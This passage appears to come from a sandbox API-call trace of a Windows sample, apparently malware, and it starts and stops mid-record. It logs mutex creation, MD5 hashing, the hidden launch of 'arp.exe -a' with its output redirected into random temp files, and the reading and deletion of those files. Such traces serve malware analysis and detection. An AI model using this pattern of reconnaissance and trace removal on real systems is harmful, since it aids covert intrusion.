lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0041.480] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39258 [0041.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x1c39258, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0041.481] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c392a0 [0041.481] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39258) returned 1 [0041.481] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ea60) returned 1 [0041.481] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39258 [0041.481] CryptAcquireContextW (in: phProv=0x18faf4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18faf4*=0x255a28) returned 1 [0041.491] CryptCreateHash (in: hProv=0x255a28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18faf4 | out: phHash=0x18faf4) returned 1 [0041.491] CryptHashData (hHash=0x2425e0, pbData=0x1c392a0, dwDataLen=0xa, dwFlags=0x0) returned 1 [0041.491] CryptGetHashParam (in: hHash=0x2425e0, dwParam=0x4, pbData=0x18faf8, pdwDataLen=0x18fb04, dwFlags=0x0 | out: pbData=0x18faf8, pdwDataLen=0x18fb04) returned 1 [0041.492] CryptGetHashParam (in: hHash=0x2425e0, dwParam=0x2, pbData=0x1c39258, pdwDataLen=0x18faf8, dwFlags=0x0 | out: pbData=0x1c39258, pdwDataLen=0x18faf8) returned 1 [0041.492] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c392e8 [0041.492] CryptDestroyHash (hHash=0x2425e0) returned 1 [0041.495] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0041.497] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39258) returned 1 [0041.497] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39258 [0041.497] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39330 [0041.497] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39258) returned 1 [0041.497] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39258 [0041.497] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39258) returned 1 [0041.500] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39330) returned 1 [0041.500] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c392e8) returned 1 [0041.500] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c392e8 [0041.500] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39330 [0041.500] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39330) returned 1 [0041.500] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39330 [0041.500] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="{{16E1D10-D-C0-32-9-739--65D6-A4AD8A8}") returned 0x0 [0041.501] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39330) returned 1 [0041.501] GetLastError () returned 0x2 [0041.501] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x5000) returned 0x1c32850 [0041.502] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39330 [0041.502] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39330) returned 1 [0041.502] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0041.503] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c32850) returned 1 [0041.503] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x23b0b8, lpbSaclPresent=0x18fab8, pSacl=0x18fb10, lpbSaclDefaulted=0x18fab8 | out: lpbSaclPresent=0x18fab8, pSacl=0x18fb10, lpbSaclDefaulted=0x18fab8) returned 1 [0041.503] CreateMutexA (lpMutexAttributes=0x18fb04, bInitialOwner=0, lpName="{{16E1D10-D-C0-32-9-739--65D6-A4AD8A8}") returned 0x134 [0041.509] GetLastError () returned 0x0 [0041.509] SetSecurityInfo () returned 0x0 [0041.509] LocalFree (hMem=0x23b0b8) returned 0x0 [0041.510] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0xffffffff) returned 0x0 [0041.516] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ea60 [0041.516] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3eae8 [0041.516] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x100) returned 0x1c39e98 [0041.516] GetSystemDirectoryW (in: lpBuffer=0x1c39e98, uSize=0x40 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0041.517] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39e98) returned 1 [0041.517] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3eb70 [0041.517] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3eb70) returned 1 [0041.517] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39330 [0041.518] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3eb70 [0041.518] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x400) returned 0x1c32850 [0041.518] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x400) returned 0x1c32c58 [0041.518] GetEnvironmentVariableW (in: lpName="TEMP", lpBuffer=0x1c32850, nSize=0x100 | out: lpBuffer="C:\\Windows\\TEMP") returned 0xf [0041.518] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP", lpszShortPath=0x1c32c58, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP") returned 0xf [0041.630] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c32c58) returned 1 [0041.630] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c32850) returned 1 [0041.630] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3eb70) returned 1 [0041.630] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3eb70 [0041.630] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x400) returned 0x1c32850 [0041.630] CryptAcquireContextW (in: phProv=0x18f8fc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8fc*=0x255a28) returned 1 [0041.640] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f910 | out: pbBuffer=0x18f910) returned 1 [0041.640] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0041.640] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ebf8 [0041.640] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0041.643] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0041.643] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0041.643] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0041.649] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0041.650] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0041.650] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="O", uUnique=0x0, lpTempFileName=0x1c32850 | out: lpTempFileName="C:\\Windows\\TEMP\\O9BA2.tmp" (normalized: "c:\\windows\\temp\\o9ba2.tmp")) returned 0x9ba2 [0041.652] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ebf8) returned 1 [0041.652] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x400) returned 0x1c32c58 [0041.652] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\O9BA2.tmp", lpszShortPath=0x1c32c58, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\O9BA2.tmp") returned 0x19 [0041.652] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c32850) returned 1 [0041.655] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3eb70) returned 1 [0041.655] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3eb70 [0041.655] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x400) returned 0x1c32850 [0041.655] CryptAcquireContextW (in: phProv=0x18f8fc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8fc*=0x255a28) returned 1 [0041.662] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f910 | out: pbBuffer=0x18f910) returned 1 [0041.662] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0041.662] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ebf8 [0041.662] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0041.668] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0041.668] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0041.668] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0041.671] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0041.671] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0041.671] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0041.684] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0041.684] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0041.684] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="Zi", uUnique=0x0, lpTempFileName=0x1c32850 | out: lpTempFileName="C:\\Windows\\TEMP\\Zi9BC2.tmp" (normalized: "c:\\windows\\temp\\zi9bc2.tmp")) returned 0x9bc2 [0041.686] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ebf8) returned 1 [0041.703] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x400) returned 0x1c33060 [0041.703] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\Zi9BC2.tmp", lpszShortPath=0x1c33060, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\Zi9BC2.tmp") returned 0x1a [0041.704] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c32850) returned 1 [0041.704] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3eb70) returned 1 [0041.704] CreateFileW (lpFileName="C:\\Windows\\TEMP\\O9BA2.tmp" (normalized: "c:\\windows\\temp\\o9ba2.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x18f9ac, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0041.707] CreateFileW (lpFileName="C:\\Windows\\TEMP\\Zi9BC2.tmp" (normalized: "c:\\windows\\temp\\zi9bc2.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x18f9ac, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0041.707] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\\\arp.exe", lpCommandLine="C:\\Windows\\system32\\\\arp.exe -a", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18f9ec*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x138, hStdError=0x13c), lpProcessInformation=0x18f9b8 | out: lpCommandLine="C:\\Windows\\system32\\\\arp.exe -a", lpProcessInformation=0x18f9b8*(hProcess=0x144, hThread=0x140, dwProcessId=0x8a8, dwThreadId=0x8bc)) returned 1 [0042.248] NtClose (Handle=0x140) returned 0x0 [0042.248] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0xea60) returned 0x0 [0048.875] NtClose (Handle=0x138) returned 0x0 [0048.875] NtClose (Handle=0x13c) returned 0x0 [0048.875] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3eb70 [0048.875] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x184) returned 0x1c32850 [0048.875] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39258 [0048.875] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39378 [0048.875] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c393c0 [0048.875] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39408 [0048.875] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39450 [0048.876] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39498 [0048.876] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c394e0 [0048.876] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39528 [0048.876] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39570 [0048.876] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c395b8 [0048.876] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39600 [0048.876] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39648 [0048.876] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39690 [0048.876] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c396d8 [0048.876] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39720 [0048.876] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39768 [0048.876] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\O9BA2.tmp" (normalized: "c:\\windows\\temp\\o9ba2.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f904 | out: lpFileInformation=0x18f904*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6441b8b0, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x6441b8b0, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x6723a2f0, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x17b)) returned 1 [0048.876] CreateFileW (lpFileName="C:\\Windows\\TEMP\\O9BA2.tmp" (normalized: "c:\\windows\\temp\\o9ba2.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0048.876] SetFileTime (hFile=0x13c, lpCreationTime=0x0, lpLastAccessTime=0x18f948, lpLastWriteTime=0x18f948) returned 0 [0048.877] GetFileSize (in: hFile=0x13c, lpFileSizeHigh=0x18f934 | out: lpFileSizeHigh=0x18f934*=0x0) returned 0x17b [0048.877] SetFilePointer (in: hFile=0x13c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f940*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f940*=0) returned 0x0 [0048.877] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x180) returned 0x1c329e0 [0048.877] ReadFile (in: hFile=0x13c, lpBuffer=0x1c329e0, nNumberOfBytesToRead=0x17b, lpNumberOfBytesRead=0x18f974, lpOverlapped=0x0 | out: lpBuffer=0x1c329e0*, lpNumberOfBytesRead=0x18f974*=0x17b, lpOverlapped=0x0) returned 1 [0048.877] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x180) returned 0x1c33468 [0048.877] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c329e0) returned 1 [0048.877] NtClose (Handle=0x13c) returned 0x0 [0048.877] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\O9BA2.tmp" (normalized: "c:\\windows\\temp\\o9ba2.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f944 | out: lpFileInformation=0x18f944*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6441b8b0, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x6441b8b0, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x6723a2f0, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x17b)) returned 1 [0048.877] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\O9BA2.tmp", dwFileAttributes=0x80) returned 1 [0048.878] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\O9BA2.tmp" (normalized: "c:\\windows\\temp\\o9ba2.tmp")) returned 1 [0048.879] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\Zi9BC2.tmp" (normalized: "c:\\windows\\temp\\zi9bc2.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f944 | out: lpFileInformation=0x18f944*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64467b70, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x64467b70, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x64467b70, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0048.879] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\Zi9BC2.tmp", dwFileAttributes=0x80) returned 1 [0048.879] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\Zi9BC2.tmp" (normalized: "c:\\windows\\temp\\zi9bc2.tmp")) returned 1 [0048.880] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x180) returned 0x1c329e0 [0048.880] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c33468) returned 1 [0048.880] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3eb70) returned 1 [0048.880] NtClose (Handle=0x144) returned 0x0 [0048.880] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c33060) returned 1 [0048.880] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c32c58) returned 1 [0048.880] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x180) returned 0x1c32b68 [0048.880] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c329e0) returned 1 [0048.880] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0048.880] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d630 [0048.880] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d278 [0048.880] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397f8 [0048.880] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0048.880] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0048.880] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d268 [0048.880] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39840 [0048.880] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0048.880] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0048.880] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d258 [0048.880] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39888 [0048.880] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0048.880] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0048.880] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d2f8 [0048.880] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c398d0 [0048.880] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0048.880] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0048.880] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x20) returned 0x1d3bc08 [0048.880] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d630) returned 1 [0048.880] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d308 [0048.880] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39918 [0048.881] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0048.881] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0048.881] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d318 [0048.881] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39960 [0048.881] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0048.881] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0048.881] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d328 [0048.881] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c399a8 [0048.881] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0048.881] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0048.881] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d338 [0048.881] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c399f0 [0048.881] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0048.881] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x30) returned 0x1d3ff98 [0048.881] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bc08) returned 1 [0048.881] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d348 [0048.881] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0048.881] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x30) returned 0x1d3bc08 [0048.881] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d358 [0048.881] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39a38 [0048.881] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d368 [0048.881] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39a80 [0048.881] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d378 [0048.881] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39ac8 [0048.881] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d388 [0048.881] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39b10 [0048.881] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d398 [0048.881] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39b58 [0048.881] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d3a8 [0048.881] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39ba0 [0048.881] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d3b8 [0048.881] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39be8 [0048.881] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d3c8 [0048.881] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39c30 [0048.881] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d3d8 [0048.882] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39c78 [0048.882] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397f8) returned 1 [0048.882] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d278) returned 1 [0048.882] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39840) returned 1 [0048.882] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d268) returned 1 [0048.882] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39888) returned 1 [0048.882] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d258) returned 1 [0048.882] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c398d0) returned 1 [0048.882] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d2f8) returned 1 [0048.882] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39918) returned 1 [0048.882] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d308) returned 1 [0048.882] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39960) returned 1 [0048.882] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d318) returned 1 [0048.882] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c399a8) returned 1 [0048.882] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d328) returned 1 [0048.882] 